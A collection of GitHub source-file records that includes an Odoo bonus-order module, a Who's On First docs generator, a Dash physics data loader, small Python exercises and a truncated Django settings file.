test.\n\n- Right-click in the ``test_03`` test body, gutter click, filename, etc.\n\n- Makes a temporary run config\n\nRepo: https://github.com/pauleveritt/42-workshop\nPlaylist: https://www.jetbrains.com/pycharm/guide/playlists/42/\n\"\"\"\n\nfrom fortytwo import App\nfrom fortytwo.models import Greeter\n\n\ndef main():\n site = App()\n with site as container:\n greeter = container.get(Greeter)\n greeting = greeter('Larry')\n return greeting\n\n\nif __name__ == '__main__':\n print(main())\n","repo_name":"pauleveritt/42-workshop","sub_path":"fortytwo/s31_run_single_test.py","file_name":"s31_run_single_test.py","file_ext":"py","file_size_in_byte":559,"program_lang":"python","lang":"en","doc_type":"code","stars":214,"dataset":"github-code","pt":"70"} +{"seq_id":"4173394228","text":"from collections import deque\n\nN, K = map(int, input().split())\ncost = list(map(int, input().split()))\n\n# prev: 상위 작업 인접리스트, visited: 중복 검사 리스트\nprev, visited = [[] for _ in range(N)], [False] * N\nfor i in range(K):\n p, c = map(int, input().split())\n prev[c - 1].append(p - 1)\nC = int(input())\n\n# v: 현재 탐색하는 vertex, time: 현재까지 시간의 총합, mn: time의 최솟값\ndef getMinTime(v, time, mn):\n if len(prev[v]) == 0:\n mn = min(time, mn)\n return mn\n nxt, mx = prev[v][0], -1\n for i in range(1, len(prev[v])):\n cur = prev[v][i]\n if cost[cur] > mx:\n mx, nxt = cost[cur], cur\n mn = getMinTime(nxt, time + cost[nxt], mn)\n return mn\n\n\nprint(getMinTime(C - 1, cost[C - 1], float(\"inf\")))\n","repo_name":"knghyunwoo/elice_algorithm","sub_path":"7주차/정소원/7주차_별 전쟁.py","file_name":"7주차_별 전쟁.py","file_ext":"py","file_size_in_byte":794,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"39613192120","text":"# -*- coding: utf-8 -*-\nfrom __future__ import division\nimport logging\nfrom datetime import datetime\n\nfrom dateutil.relativedelta import relativedelta\n\nfrom odoo import models, api, tools, fields, _, exceptions\n\nDOCUMENT_TEMPLATE_REF = 'e_document.isakymas_del_priedo_skyrimo_grupei_pagal_darbo_laika_template'\n\n\nclass EDocument(models.Model):\n\n _inherit = 'e.document'\n\n employees_table_text = fields.Text(compute='_compute_employees_table_text', store=True, readonly=True)\n\n @api.multi\n def isakymas_del_priedo_skyrimo_grupei_pagal_darbo_laika_workflow(self):\n self.ensure_one()\n\n lines = self.e_document_line_ids\n date_from, date_to = self._get_bonus_payment_dates()\n ids = self.env['hr.employee.bonus']\n\n for line in lines:\n bonus_rec = self.env['hr.employee.bonus'].create({\n 'employee_id': line.employee_id2.id,\n 'for_date_from': self.date_1,\n 'for_date_to': self.date_2,\n 'payment_date_from': date_from,\n 'payment_date_to': date_to,\n 'bonus_type': self.bonus_type_selection,\n 'amount': line.adjusted_bruto,\n 'amount_type': self.bonus_input_type\n })\n bonus_rec.confirm()\n ids += bonus_rec\n\n self.write({\n 'record_model': 'hr.employee.bonus',\n 'record_id': bonus_rec.id,\n })\n ids.write({'related_document': self.id})\n\n @api.multi\n @api.constrains('date_1', 'date_2')\n def constrain_group_bonus_by_worked_time_dates(self):\n current_doc = self.env.ref(DOCUMENT_TEMPLATE_REF, raise_if_not_found=False)\n for rec in self.filtered(lambda x: x.template_id == current_doc and x.bonus_type_selection != 'ne_vdu'):\n date_from_dt = datetime.strptime(rec.date_1, tools.DEFAULT_SERVER_DATE_FORMAT)\n date_to_dt = datetime.strptime(rec.date_2, tools.DEFAULT_SERVER_DATE_FORMAT)\n if date_from_dt.day != 1 or date_to_dt + relativedelta(day=31) != date_to_dt:\n raise exceptions.ValidationError(\n _('Periodo pradžia ir pabaiga turi sutapti su mėnesio pradžios ir pabaigos datomis'))\n\n @api.multi\n @api.constrains('bonus_input_type', 'bonus_type_selection', 'template_id')\n def _check_bonus_input_type_for_specific_bonus_types(self):\n current_doc = self.env.ref(DOCUMENT_TEMPLATE_REF, raise_if_not_found=False)\n for rec in self:\n if rec.template_id != current_doc:\n return super(EDocument, rec)._check_bonus_input_type_for_specific_bonus_types()\n if rec.bonus_input_type == 'neto' and rec.bonus_type_selection not in ['1men', 'ne_vdu']:\n raise exceptions.ValidationError(\n _('Negalima skirti priedo pagal NETO sumą už ilgesnį nei vieno mėnesio '\n 'laikotarpį, dėl galimų netikslingų paskaičiavimų')\n )\n\n @api.onchange('bonus_input_type', 'bonus_type_selection', 'template_id')\n def _onchange_bonus_input_type_for_specific_bonus_types(self):\n if self.template_id != self.env.ref(DOCUMENT_TEMPLATE_REF, raise_if_not_found=False):\n return super(EDocument, self)._onchange_bonus_input_type_for_specific_bonus_types()\n\n if self.bonus_type_selection not in ['1men', 'ne_vdu']:\n self.bonus_input_type = 'bruto'\n\n @api.onchange('date_1', 'bonus_type_selection', 'template_id')\n def onch_set_premijos_datos(self):\n res = super(EDocument, self).onch_set_premijos_datos()\n\n if self.template_id != self.env.ref(DOCUMENT_TEMPLATE_REF, raise_if_not_found=False):\n return res\n\n if self.date_1 and self.bonus_type_selection:\n date_1_dt = datetime.strptime(self.date_1, tools.DEFAULT_SERVER_DATE_FORMAT)\n date_1_rel_delta = relativedelta(day=1)\n\n if self.bonus_type_selection == '1men':\n date_2_rel_delta = relativedelta(day=31)\n date_3_rel_delta = relativedelta(day=1)\n elif self.bonus_type_selection == '3men':\n date_2_rel_delta = relativedelta(months=2, day=31)\n date_3_rel_delta = relativedelta(months=2, day=1)\n else:\n return\n\n self.date_1 = (date_1_dt + date_1_rel_delta).strftime(tools.DEFAULT_SERVER_DATE_FORMAT)\n self.date_2 = (date_1_dt + date_2_rel_delta).strftime(tools.DEFAULT_SERVER_DATE_FORMAT)\n self.date_3 = (date_1_dt + date_3_rel_delta).strftime(tools.DEFAULT_SERVER_DATE_FORMAT)\n\n return res\n\n @api.one\n @api.depends('e_document_line_ids', 'bonus_input_type')\n def _compute_employees_table_text(self):\n if self.template_id != self.env.ref(DOCUMENT_TEMPLATE_REF, raise_if_not_found=False):\n return\n\n employees_table_text = '''
Priedas skiriamas šiems darbuotojams:\n \n \n \n \n \n \n \n \n '''.format(self.bonus_input_type)\n\n for line in self.e_document_line_ids:\n full_amount = ('%.2f' % line.full_bruto).replace('.', ',')\n adj_amount = ('%.2f' % line.adjusted_bruto).replace('.', ',')\n w_norm = ('%.2f' % line.work_norm).replace('.', ',')\n w_days = ('%.2f' % line.worked_time).replace('.', ',')\n employees_table_text += '''\n \n \n \n \n \n ''' % {\n 'name': line.employee_id2.name,\n 'full_amount': full_amount,\n 'w_norm': w_norm,\n 'w_days': w_days,\n 'adj_amount': adj_amount,\n }\n employees_table_text += \"\"\"
DarbuotojasPriedo dydis ({0}), EURDarbo dienų skaičiusIšdirbtų darbo dienų skaičiusPerskaičiuotas priedo dydis ({0}), EUR
%(name)s%(full_amount)s%(w_norm)s%(w_days)s%(adj_amount)s

\"\"\"\n self.employees_table_text = employees_table_text\n\n @api.multi\n def execute_confirm_workflow_update_values(self):\n def set_first_day_of_month(date):\n if date:\n date_dt = datetime.strptime(date, tools.DEFAULT_SERVER_DATE_FORMAT)\n if date_dt.day != 1:\n date = (date_dt + relativedelta(day=1)).strftime(tools.DEFAULT_SERVER_DATE_FORMAT)\n return date\n\n res = super(EDocument, self).execute_confirm_workflow_update_values()\n\n for rec in self.filtered(lambda d: d.template_id == self.env.ref(DOCUMENT_TEMPLATE_REF, raise_if_not_found=False)):\n rec.date_3 = set_first_day_of_month(rec.date_3)\n return res\n\n @api.multi\n def execute_confirm_workflow_check_values(self):\n res = super(EDocument, self).execute_confirm_workflow_check_values()\n\n template = self.env.ref(DOCUMENT_TEMPLATE_REF, raise_if_not_found=False)\n for rec in self.filtered(lambda d: d.template_id == template):\n rec.check_group_bonus_based_on_time_worked_bonus_line_ids()\n for line in rec.e_document_line_ids:\n if tools.float_is_zero(line.full_bruto, precision_digits=2):\n raise exceptions.Warning(_('Priedo dydis negali būti nulinis!'))\n if tools.float_is_zero(line.adjusted_bruto, precision_digits=2):\n raise exceptions.Warning(_('Perskaičiuotas priedo dydis negali būti nulinis!'))\n return res\n\n @api.multi\n def check_workflow_constraints(self):\n self.ensure_one()\n\n res = super(EDocument, self).check_workflow_constraints()\n\n if self.template_id != self.env.ref(DOCUMENT_TEMPLATE_REF, raise_if_not_found=False):\n return res\n\n has_closed_slip = bool(self.env['hr.payslip'].search_count([\n ('employee_id', 'in', self.e_document_line_ids.mapped('employee_id2').ids),\n ('date_from', '=', self.date_3),\n ('state', '=', 'done')\n ]))\n\n if has_closed_slip:\n res += _('Negalite pasirašyti šio dokumento, nes periode egzistuoja patvirtintas darbuotojo algalapis')\n\n res += self.check_bonus_type_accumulative_accounting_constraints()\n\n return res\n\n @api.multi\n def execute_cancel_workflow(self):\n self.ensure_one()\n if not self.cancel_id or \\\n self.cancel_id.template_id != self.env.ref(DOCUMENT_TEMPLATE_REF, raise_if_not_found=False):\n return super(EDocument, self).execute_cancel_workflow()\n\n cancel_doc = self.cancel_id\n err_msgs = []\n period_from = cancel_doc.date_1\n period_to = cancel_doc.date_2\n period_pay = cancel_doc.date_3\n period_pay_dt = datetime.strptime(period_pay, tools.DEFAULT_SERVER_DATE_FORMAT)\n pay_from = (period_pay_dt + relativedelta(day=1)).strftime(tools.DEFAULT_SERVER_DATE_FORMAT)\n pay_to = (period_pay_dt + relativedelta(day=31)).strftime(tools.DEFAULT_SERVER_DATE_FORMAT)\n user_id = self._context.get('uid')\n user = self.env['res.users'].browse(user_id) if user_id else None\n employee_ids = cancel_doc.mapped('e_document_line_ids.employee_id2')\n\n bonus_recs = self.env['hr.employee.bonus'].search([\n ('employee_id', 'in', employee_ids.ids),\n ('for_date_from', '=', period_from),\n ('for_date_to', '=', period_to),\n ('payment_date_from', '=', pay_from),\n ('payment_date_from', '=', pay_from),\n ('payment_date_to', '=', pay_to),\n ('payment_date_from', '=', pay_from),\n ('bonus_type', '=', cancel_doc.bonus_type_selection)\n ])\n\n slips = self.env['hr.payslip'].search([\n ('employee_id', 'in', employee_ids.ids),\n ('date_from', '=', pay_from),\n ('date_to', '=', pay_to)\n ])\n\n for empl_line in cancel_doc.e_document_line_ids:\n empl_id = empl_line.employee_id2.id\n empl_bonus_recs = bonus_recs.filtered(lambda b: tools.float_compare(b.amount, empl_line.adjusted_bruto,\n precision_digits=2) == 0 and b.employee_id.id == empl_id)\n if not empl_bonus_recs:\n err_msgs.append((empl_id, 'no_bonus_rec'))\n continue\n\n empl_slips = slips.filtered(lambda s: s.employee_id.id == empl_id)\n\n if any(slip.state != 'draft' for slip in empl_slips):\n err_msgs.append((empl_id, 'some_slips_not_draft'))\n continue\n\n try:\n for empl_bonus_rec in empl_bonus_recs:\n empl_bonus_rec.action_cancel()\n bonus_recs = bonus_recs.filtered(lambda b: b.id != empl_bonus_rec.id)\n empl_bonus_rec.unlink()\n except:\n err_msgs.append((empl_id, 'failed_to_cancel'))\n\n if err_msgs:\n if user and not user.is_accountant():\n raise exceptions.UserError(_('failed to sign the document. Please contact the company\\'s accountant.'))\n msg_body = ''\n err_cats = [err_tuple[1] for err_tuple in err_msgs]\n err_cat_name_id_mapping = {\n 'no_bonus_rec': _('Nerasti priedų įrašai šiems darbuotojams:'),\n 'some_slips_not_draft': _('Šių darbuotojų algalapiai nėra juodraščio būsenos:'),\n 'failed_to_cancel': _('Nepavyko atšaukti priedo įrašo dėl nežinomų priežaščių šiems darbuotojams:'),\n }\n\n for err_cat in set(err_cats):\n err_cat_employee_ids = [err_tuple[0] for err_tuple in err_msgs if err_tuple[1] == err_cat]\n err_cat_employee_names = self.env['hr.employee'].browse(err_cat_employee_ids).mapped('name')\n\n if msg_body != '':\n msg_body += '\\n'\n\n err_cat_name = err_cat_name_id_mapping.get(err_cat, 'Nenumatytos problemos:')\n msg_body += err_cat_name + '\\n'\n\n for empl_name in err_cat_employee_names:\n msg_body += empl_name + '\\n'\n\n is_document_for_group = True if len(cancel_doc.e_document_line_ids) > 1 else False\n if is_document_for_group:\n intro = _('It was not possible to cancel the order of bonus for group (Company {}). '\n 'You will need to adjust bonuses by hand. '\n 'Error messages:').format(str(self.env.user.company_id.name))\n else:\n intro = _('It was not possible to cancel the order of bonus for an employee (Company {}). '\n 'Error messages:').format(str(self.env.user.company_id.name))\n msg_body = intro + '\\n\\n' + msg_body\n raise exceptions.UserError(msg_body)\n\n @api.multi\n def _date_from_display(self):\n other_documents = self.env['e.document']\n for rec in self:\n if rec.template_id != self.env.ref(DOCUMENT_TEMPLATE_REF, raise_if_not_found=False):\n other_documents |= rec\n continue\n\n date_from = False\n\n if rec.date_3:\n date_from_dt = datetime.strptime(rec.date_3, tools.DEFAULT_SERVER_DATE_FORMAT)\n date_from = (date_from_dt + relativedelta(day=1)).strftime(tools.DEFAULT_SERVER_DATE_FORMAT)\n\n rec.date_from_display = date_from\n super(EDocument, other_documents)._date_from_display()\n\n @api.multi\n def _date_to_display(self):\n other_documents = self.env['e.document']\n for rec in self:\n if rec.template_id != self.env.ref(DOCUMENT_TEMPLATE_REF, raise_if_not_found=False):\n other_documents |= rec\n continue\n\n date_to = False\n\n if rec.date_3:\n date_from_dt = datetime.strptime(rec.date_3, tools.DEFAULT_SERVER_DATE_FORMAT)\n date_to = (date_from_dt + relativedelta(day=31)).strftime(tools.DEFAULT_SERVER_DATE_FORMAT)\n\n rec.date_to_display = date_to\n super(EDocument, other_documents)._date_to_display()\n\n @api.one\n def check_group_bonus_based_on_time_worked_bonus_line_ids(self):\n if not self.e_document_line_ids:\n raise exceptions.Warning(_('Įveskite bent vieną darbuotoją.'))\n elif self.e_document_line_ids:\n employee_ids = self.e_document_line_ids.mapped('employee_id2')\n\n if len(employee_ids) != len(self.e_document_line_ids):\n raise exceptions.Warning(_('Įvesti darbuotojai kartojasi'))\n\n @api.onchange('date_1', 'date_2')\n def _check_ziniarastis_exists_by_dates(self):\n template = self.env.ref(DOCUMENT_TEMPLATE_REF, raise_if_not_found=False)\n employees = self.mapped('e_document_line_ids.employee_id2')\n if not self.date_1 or not self.date_2 or not employees or self.template_id != template:\n return\n\n ziniarastis_lines = self.env['ziniarastis.period.line'].search([\n ('employee_id', 'in', employees.ids),\n ('date_from', '<=', self.date_2),\n ('date_to', '>=', self.date_1),\n ('state', '=', 'done')])\n\n for employee_id in employees:\n employee_ziniarastis_lines = ziniarastis_lines.filtered(lambda l: l.employee_id.id == employee_id.id)\n\n if not employee_ziniarastis_lines:\n raise exceptions.UserError(\n _('Darbuotojas %s neturi patvirtinto apskaitos žiniaraščio') % (employee_id.name))\n\n @api.multi\n def recompute_bonus_lines_based_on_worked_time(self):\n self.ensure_one()\n if self.template_id != self.env.ref('e_document.isakymas_del_priedo_skyrimo_grupei_pagal_darbo_laika_template'):\n return\n self.e_document_line_ids._compute_adjusted_bruto()\n\n\nEDocument()\n\n\nclass EDocumentLine(models.Model):\n _inherit = 'e.document.line'\n\n full_bruto = fields.Float()\n work_norm = fields.Float()\n worked_time = fields.Float()\n adjusted_bruto = fields.Float()\n\n @api.multi\n def _compute_adjusted_bruto(self):\n template = self.env.ref(DOCUMENT_TEMPLATE_REF, raise_if_not_found=False)\n lines_to_recompute = self.filtered(lambda l: l.e_document_id.template_id == template and l.employee_id2 and\n l.e_document_id.date_1 and l.e_document_id.date_2 and\n l.full_bruto and l.employee_data_is_accessible())\n\n ziniarastis_lines = self.env['ziniarastis.period.line']\n for e_document in lines_to_recompute.mapped('e_document_id'):\n lines_per_document = lines_to_recompute.filtered(lambda l: l.e_document_id == e_document)\n ziniarastis_lines |= self.env['ziniarastis.period.line'].sudo().search([\n ('employee_id', 'in', lines_per_document.mapped('employee_id2').ids),\n ('date_from', '<=', e_document.date_2),\n ('date_to', '>=', e_document.date_1),\n ('state', '=', 'done')\n ])\n\n for line in self:\n if line.e_document_id.state != 'draft':\n continue\n if line not in lines_to_recompute:\n line.worked_time = line.work_norm = line.adjusted_bruto = 0.0\n continue\n line_timesheet_lines = ziniarastis_lines.filtered(lambda l: l.employee_id == line.employee_id2)\n days_worked = sum(line_timesheet_lines.mapped('days_total'))\n work_norm_days = self.env['hr.employee'].employee_work_norm(\n employee=line.employee_id2,\n calc_date_from=line.e_document_id.date_1,\n calc_date_to=line.e_document_id.date_2)['days']\n\n line.worked_time = days_worked\n line.work_norm = work_norm_days\n\n try:\n line.adjusted_bruto = line.full_bruto / work_norm_days * days_worked # P3:DivOK\n except ZeroDivisionError:\n line.adjusted_bruto = 0\n\n @api.onchange('employee_id2')\n def _check_ziniarastis_exists_by_employee(self):\n template = self.env.ref(DOCUMENT_TEMPLATE_REF, raise_if_not_found=False)\n if not self.employee_id2 or not self.e_document_id.date_1 or not self.e_document_id.date_2 or \\\n self.e_document_id.template_id != template:\n return\n\n ziniarastis_lines = self.env['ziniarastis.period.line'].search([\n ('employee_id', '=', self.employee_id2.id),\n ('date_from', '<=', self.e_document_id.date_2),\n ('date_to', '>=', self.e_document_id.date_1),\n ('state', '=', 'done')])\n\n if not ziniarastis_lines:\n raise exceptions.UserError(\n ('Darbuotojas %s neturi patvirtinto apskaitos žiniaraščio') % (self.employee_id2.name))\n\n\nEDocumentLine()\n\n","repo_name":"websharp950223/financing","sub_path":"robo/e_document/templates/orders/del_priedo_skyrimo_grupei_pagal_darbo_laika/del_priedo_skyrimo_grupei_pagal_darbo_laika.py","file_name":"del_priedo_skyrimo_grupei_pagal_darbo_laika.py","file_ext":"py","file_size_in_byte":19614,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"41544595906","text":"print(\"\\nEnter a list of numbers, type 0 when finished\")\nnumbers = []\nnumber = ''\ntotal_number = 0\nwhile number != 0:\n number = int(input('Enter number:'))\n if number != 0:\n numbers.append(number)\n else:\n break\nfor number in numbers:\n total_number += number\n average = total_number / len(numbers)\n\nlargest_number = max(numbers)\n#to understand this function search for list comprehension.\nsmall_positive = min([number for number in numbers if number > 0]) # list comprehension.\nprint(f'The sum is {total_number} ')\nprint(f'The average is {average} ')\nprint(f'The largest number is: {largest_number}')\nprint(f\"The smallest positive number is: {small_positive}\")\nprint(\"The sorted list is:\")\nfor i, number in enumerate(sorted(numbers)):\n print(number)\n","repo_name":"ndongaloris/CSE-110_building_blocks","sub_path":"team_activity/Lists_of_Numbers.py","file_name":"Lists_of_Numbers.py","file_ext":"py","file_size_in_byte":780,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"13654888422","text":"#!/usr/bin/env python\n\nfrom __future__ import unicode_literals\n\nimport os\nimport sys\nimport logging\nimport datetime\nimport json\nimport io\n\nif __name__ == '__main__':\n\n whoami = sys.argv[0]\n whoami = os.path.abspath(whoami)\n\n bin = os.path.dirname(whoami)\n root = os.path.dirname(bin)\n\n sources = os.path.join(root, 'sources')\n data = os.path.join(root, 'data')\n\n latest = os.path.join(data, \"sources-spec-latest.json\")\n readme = os.path.join(sources, \"README.md\")\n\n fh = io.open(latest, \"r\")\n spec = json.load(fh)\n\n lookup = {}\n\n for id, details in spec.items():\n lookup[details['name']] = id\n\n names = lookup.keys()\n names.sort()\n\n now = datetime.datetime.now()\n ymd = now.strftime(\"%Y-%m-%d\")\n\n docs = io.open(readme, \"w\")\n docs.write(\"# sources\\n\\n\")\n\n docs.write(\"_This file was generated by the `bin/docs.py` script on %s._\\n\\n\" % ymd)\n\n source_count = 0\n source_via_count = 0\n for file in os.listdir(sources):\n if file.endswith('.json'):\n source_count += 1\n \n for n in names:\n\n id = lookup[n]\n details = spec[id]\n\n docs.write(\"## %s\\n\\n\" % (details['fullname']))\n\n if details.get('description'):\n docs.write(\"_%s_ \\n\\n\" % (details['description']))\n\n #call out mz associated sources (wof, transitland, etc)\n if details.get('mz_associated'):\n docs.write(\"_This is a Mapzen associated source._ \\n\\n\")\n\n #call out add date\n if details.get('edtf:inception'):\n docs.write(\"* %s: `%s`\\n\" % ('added', details['edtf:inception']))\n\n #call out deprecated sources and their deprecated date\n if details.get('edtf:deprecated'):\n if not details['edtf:deprecated'] == 'uuuu':\n docs.write(\"* %s: `%s`\\n\" % ('deprecated', details['edtf:deprecated']))\n\n for k in ('id', 'name', 'prefix'):\n\n if details[k] == '':\n continue\n\n docs.write(\"* %s: `%s`\\n\" % (k, details[k]))\n\n if details.get('license_type'):\n docs.write(\"* %s: _%s_\\n\" % ('license_type', details['license_type']))\n\n if details.get('license_text'):\n docs.write(\"* %s: _%s_\\n\" % ('license_text', details['license_text']))\n\n if not details.get('url') == \"\":\n docs.write(\"* %s: _%s_\\n\" % ('url', details['url']))\n\n if details.get('remarks'):\n docs.write(\"* %s: _%s_\\n\" % ('remarks', details['remarks']))\n\n #link to the license page for each source if page is available\n if details.get('license') and details.get('license').startswith(\"http\"):\n docs.write(\"* %s: _%s_\\n\" % ('license', details['license']))\n\n else:\n docs.write(\"* %s: `%s`\\n\" % ('license', details['license']))\n\n #list out all \"via\" sources with links to each source's source...\n if details.get('src:via'):\n\n docs.write(\"\\n This source includes `CC-BY compatible` data from the following organizations:\\n\")\n\n for via in details['src:via']:\n\n source_via_count += 1\n\n #if the source link is present, link to the source in markdown\n if not via['source_link'] == \"\":\n if via['source_note']:\n docs.write(\" \\t* **%s**: [%s](%s) - %s\\n\" % (via[\"context\"],via[\"source_name\"],via[\"source_link\"],via[\"source_note\"]))\n else:\n docs.write(\" \\t* **%s**: [%s](%s)\\n\" % (via[\"context\"],via[\"source_name\"],via[\"source_link\"]))\n\n #if the source link is null for the src:via, write out just the name without a link\n else:\n if via['source_note']:\n docs.write(\" \\t* **%s**: %s - %s\\n\" % (via[\"context\"],via[\"source_name\"],via[\"source_note\"]))\n else:\n docs.write(\" \\t* **%s**: %s\\n\" % (via[\"context\"],via[\"source_name\"]))\n\n #assuming no usage, appending to this empty list later if usage flags are present\n usage = []\n\n #catch any usage flag and append it as markdown to a usage: prop, if found\n if details.get('usage_concordance'):\n if details['usage_concordance'] == 1:\n usage.append(\"`concordance`\")\n\n if details.get('usage_property'): \n if details['usage_property'] == 1:\n usage.append(\"`property`\")\n\n if details.get('usage_geometry'):\n if details['usage_geometry'] == 1:\n usage.append(\"`geometry`\")\n\n all_uses = ', '.join(usage)\n\n if not usage == []:\n docs.write(\"* %s: %s\\n\" % ('usage', all_uses))\n\n docs.write(\"\\n\")\n\n docs.write(\"_All %s sources (%s primary sources, %s additional 'via' sources) listed above are currently used to populate Who's On First records or will be added to Who's On First records in the near future._\\n\\n\" % (source_count + source_via_count, source_count, source_via_count))\n docs.close()","repo_name":"simonpoole/whosonfirst-sources","sub_path":"bin/docs.py","file_name":"docs.py","file_ext":"py","file_size_in_byte":5041,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"70"} +{"seq_id":"24264202761","text":"from collections import defaultdict\nfrom dash import Dash, Input, Output, State\nimport glob\nimport pandas as pd\nimport os\nfrom dash.exceptions import PreventUpdate\n\nDATA = 1 # 1: Test Data, 0: All NTG data\nglobal col_results\nglobal col_postprocess\n\ncol_results = [\"Time\", \"Total Energy\", \"Number of Protons\", \"Number of Neutrons\",\n \"X_cm\", \"Y_cm\", \"Z_cm\",\n \"X_cm for Protons\", \"Y_cm for Protons\", \"Z_cm for Protons\",\n \"X_cm for Neutrons\", \"Y_cm for Neutrons\", \"Z_cm for Neutrons\",\n \"Beta\", \"Flow Energy\", \"Ground State Enrgy\",\n \"Quadrupole Moment Q20\", \"Octupole Moment Q30\", \"Hexadecupole Moment Q40\",\n \"Pairing gap for Protons\", \"Pairing gap for Neutrons\", \"Center of Mass Energy\"]\ncol_postprocess = [\"Time\", \"Total Energy\", \"Total Fermi Energy\", \"Total Fermi Energy 1st correction\", \"Total Fermi Energy with Pairing and 1st correction\",\n \"Number of Protons\", \"Number of Neutrons\",\n \"X_cm\", \"Y_cm\", \"Z_cm\",\n \"X_cm for Protons\", \"Y_cm for Protons\", \"Z_cm for Protons\",\n \"X_cm for Neutrons\", \"Y_cm for Neutrons\", \"Z_cm for Neutrons\",\n \"Beta\", \"Flow Energy\", \"Quadrupole Moment Q20\",\n \"Velocity in X_cm\", \"Velocity in Y_cm\", \"Velocity in Z_cm\",\n \"Octupole Moment Q30\", \"Hexadecupole Moment Q40\", \"something\", \"Quadrupole Moment Q22\",\n \"Triaxial X\", \"Triaxial Y\", \"Triaxial Z\",\n \"Pairing gap for Neutrons\", \"Pairing gap for Protons\", \"Gradient of Delta for Protons\", \"Gradient of Delta for Neutrons\",\n \"Coulomb Force\", \"Total Kinetic Energy\", \"Total Excitation Energy\", \"Distance\"]\n\n#system = []\n#emc = []\n\ndef load_data():\n project_dir = os.path.join(\"TestData\", \"*.dat\")\n\n if DATA == 0:\n project_dir = os.path.join(\"Data\", \"*.dat\")\n\n data_names = defaultdict(dict)\n\n files = sorted(glob.glob(project_dir, ))\n data = defaultdict(pd.DataFrame)\n for file in files:\n dns = file.split(os.sep)\n dns = dns[1].split(\"_\")\n\n _system = dns[0] #system #dns[0] jako cały sytem #system\n _functional = dns[1] \n _gp = dns[2].split('gp')[1]\n _gn = dns[3].split('gn')[1]\n _b = dns[4].split('b')[1].replace('-', '.') # lista do każdego \n _phase = dns[5].split('Phase')[0]\n _ecm = dns[6].split('MeV')[0]\n data_tmp = pd.read_csv(file, sep=\",\", names=col_postprocess) # READ FILES\n\n data_tmp[\"totalmass\"] = data_tmp[\"Number of Protons\"][1] * \\\n 938.272013 + data_tmp[\"Number of Neutrons\"][1] * 939.565346\n data[file] = data_tmp\n return data#_system, _ecm,_b,_functional\n \ndef pipe_data(app: Dash):\n @app.callback(\n Output(component_id='filter_system', component_property='value'),\n Output(component_id='filter_filter', component_property='value'),\n Output(component_id='filter_method', component_property='value'),\n Output(component_id='filter_phase', component_property='value'),\n Input(component_id='apply', component_property='n_clicks'),\n State(component_id='filter_system', component_property='value'),\n State(component_id='filter_method', component_property='value'),\n State(component_id='filter_filter', component_property='value'),\n State(component_id='filter_phase', component_property='value'),\n State(component_id='filter_ecms', component_property='value'),\n State(component_id='filter_D', component_property='value'),\n )\n def callback(button,system,method,functional,phase,ecms,b):\n #if ( df.dns[5] > phase[0] and df.dns[5] < phase[1] ):\n project_dir = os.path.join(\"TestData\", \"*.dat\")\n if DATA == 0:\n project_dir = \"\"\n data_names = defaultdict(dict)\n files = sorted(glob.glob(project_dir, ))\n data = defaultdict(pd.DataFrame)\n for file in files:\n dns = file.split(os.sep)\n dns = dns[1].split(\"_\")\n _system = dns[0]\n _functional = dns[1] \n _b = float(dns[4].split('b')[1].replace('-', '.'))\n _phase = float(dns[5].split('PIPhase')[0].split(\"-\"))\n if(len(_phase)==2):\n _phase=_phase[0]\n else:\n _phase=_phase[0]/_phase[1]\n _ecm = float(dns[6].split('MeV')[0])\n # data_tmp = pd.read_csv(file, sep=\",\", names=col_results) # READ FILES\n # data_tmp[\"totalmass\"] = data_tmp[\"Number of Protons\"][1] * \\\n # 938.272013 + data_tmp[\"Number of Neutrons\"][1] * 939.565346\n # data[file] = data_tmp\n \n if ( _system == system):\n print(\"System condition filled\")\n if ( _functional == functional ):\n print(\"Functional condition filled\")\n if ( b[0] <= _b <= b[1]):\n print(\"Impact parameter condition filled\")\n if ( phase[0] <= _phase <= phase[1] ):\n print(\"Phase condition filled\")\n if ( ecms[0] <= _ecm <= ecms[1] ):\n print(\"Energy condition filled\")\n \n if button == 0:\n raise PreventUpdate\n return system,method,functional,phase \n else: \n print(ecms[0])\n print (system,method,functional,phase,ecms,b)\n return system,method,functional,phase #input_value,ip,im #print(input_value,ip,im)","repo_name":"Belyor/ntgDash","sub_path":"utils/ntg_data.py","file_name":"ntg_data.py","file_ext":"py","file_size_in_byte":5500,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"73194774625","text":"# -*- coding: utf-8 -*-\n\"\"\"\nDjango settings for dtc_bus_routes project.\n\nFor more information on this file, see\nhttps://docs.djangoproject.com/en/dev/topics/settings/\n\nFor the full list of settings and their values, see\nhttps://docs.djangoproject.com/en/dev/ref/settings/\n\"\"\"\nfrom __future__ import absolute_import, unicode_literals\n\nimport environ\nimport redis\n\nROOT_DIR = environ.Path(__file__) - 3 # (/a/b/myfile.py - 3 = /)\nAPPS_DIR = ROOT_DIR.path('dtc_bus_routes')\n\nenv = environ.Env()\n\n# APP CONFIGURATION\n# ------------------------------------------------------------------------------\nDJANGO_APPS = (\n # Default Django apps:\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.sites',\n 'django.contrib.messages',\n 'django.contrib.staticfiles',\n 'django.contrib.sitemaps',\n\n # Useful template tags:\n # 'django.contrib.humanize',\n\n # Admin\n 'django.contrib.admin',\n)\nTHIRD_PARTY_APPS = (\n 'geoposition',\n 'rest_framework',\n 'rest_framework.authtoken',\n)\n\n# Apps specific for this project go here.\nLOCAL_APPS = (\n 'busroutes',\n 'api'\n)\n\n# See: https://docs.djangoproject.com/en/dev/ref/settings/#installed-apps\nINSTALLED_APPS = DJANGO_APPS + THIRD_PARTY_APPS + LOCAL_APPS\n\nREST_FRAMEWORK = {\n 'DEFAULT_PERMISSION_CLASSES': ('rest_framework.permissions.IsAuthenticated',),\n 'DEFAULT_AUTHENTICATION_CLASSES': (\n 'rest_framework.authentication.TokenAuthentication',\n ),\n 'DEFAULT_PAGINATION_CLASS': 'rest_framework.pagination.PageNumberPagination',\n 'PAGE_SIZE': 50,\n 'DEFAULT_VERSIONING_CLASS': 'rest_framework.versioning.AcceptHeaderVersioning',\n 'DEFAULT_VERSION': 1.0,\n 'EXCEPTION_HANDLER': 'api.exceptions.custom_exception_handler',\n 'DEFAULT_THROTTLE_CLASSES': (\n 